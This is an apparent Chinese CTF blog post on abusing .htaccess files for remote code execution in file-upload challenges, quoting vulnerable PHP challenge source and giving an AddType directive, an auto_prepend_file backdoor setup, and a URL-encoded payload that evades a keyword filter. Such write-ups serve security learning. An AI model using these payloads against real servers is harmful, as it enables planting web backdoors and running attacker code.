.htaccess 的利用实践

简介

最近做文件上传题目时遇到了利用.htaccess文件进行rce的题目 正好今天刷freebuff时 又看到了一篇文章 这里就认真总结一下
发现一个好玩的现象 freebuff搜索 .htaccess 的时候返回404 算是给过滤了?hh

常规利用方式

way1

我在本地开了个环境试了一下
.htaccess 写入

AddType application/x-httpd-php .txt

.htaccess 的利用实践_第1张图片
当访问1.txt时 就可以将1.txt当成php文件来执行

way2

将 .htaccess文件自身当成php文件解析

这里贴一道题

[羊城杯2020]easyphp

直接给出了源码
显而易见 是道文件上传了


    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    if(!isset($_GET['content']) || !isset($_GET['filename'])) {
        highlight_file(__FILE__);
        die();
    }
    $content = $_GET['content'];
    if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
        echo "Hacker";
        die();
    }
    $filename = $_GET['filename'];
    if(preg_match("/[^a-z\.]/", $filename) == 1) {
        echo "Hacker";
        die();
    }
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    file_put_contents($filename, $content . "\nHello, world");
?>

[^a-z] 表示与不包含小写字母的字符匹配
吐槽一下 dirsearch 用在 buuoj 神tm429 f!
气到吐血

PHP环境下使用 auto_prepend_file 或 auto_append_file 创建后门

通过配置auto_append_file或auto_prepend_file可以向所有php文件中的开头或尾部插入指定的文件的内容。

php_value auto_prepend_file "path"
php_value auto_append_file "path"

构造payload

php_value auto_prepend_fil\
e .htaccess
#\&filename=.htaccess

urlencode 一下

?content=php_value%20auto_prepend_fil\%0ae%20.htaccess%0a%23\&filename=.htaccess

直接影响到了 index.php

变量$content后面拼接了一个"\nHello, world",这样的话会不符合.htaccess文件的语法,导致服务器报一个500错误,这时候我们可以使用反斜杠先把\n转义,再在加入的恶意代码前面加上一个#注释掉后面的内容,这样的话就可以绕过"\nHello, world",从而使得.htaccess符合语法。

[XNUCA2019Qualifier]EasyPHP


    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    include_once("fl3g.php");
    if(!isset($_GET['content']) || !isset($_GET['filename'])) {
        highlight_file(__FILE__);
        die();
    }
    $content = $_GET['content'];
    if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
        echo "Hacker";
        die();
    }
    $filename = $_GET['filename'];
    if(preg_match("/[^a-z\.]/", $filename) == 1) {
        echo "Hacker";
        die();
    }
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    file_put_contents($filename, $content . "\nJust one chance");
?>

原题我干淦
会把fl3g.php给删掉!!!

content过滤了六个

on,html,type,flag,html,upload,file

但并不影响写shell
可以看到
我们依然可以上传.htaccess文件
试一试骚操作

你可能感兴趣的:(CTF,安全)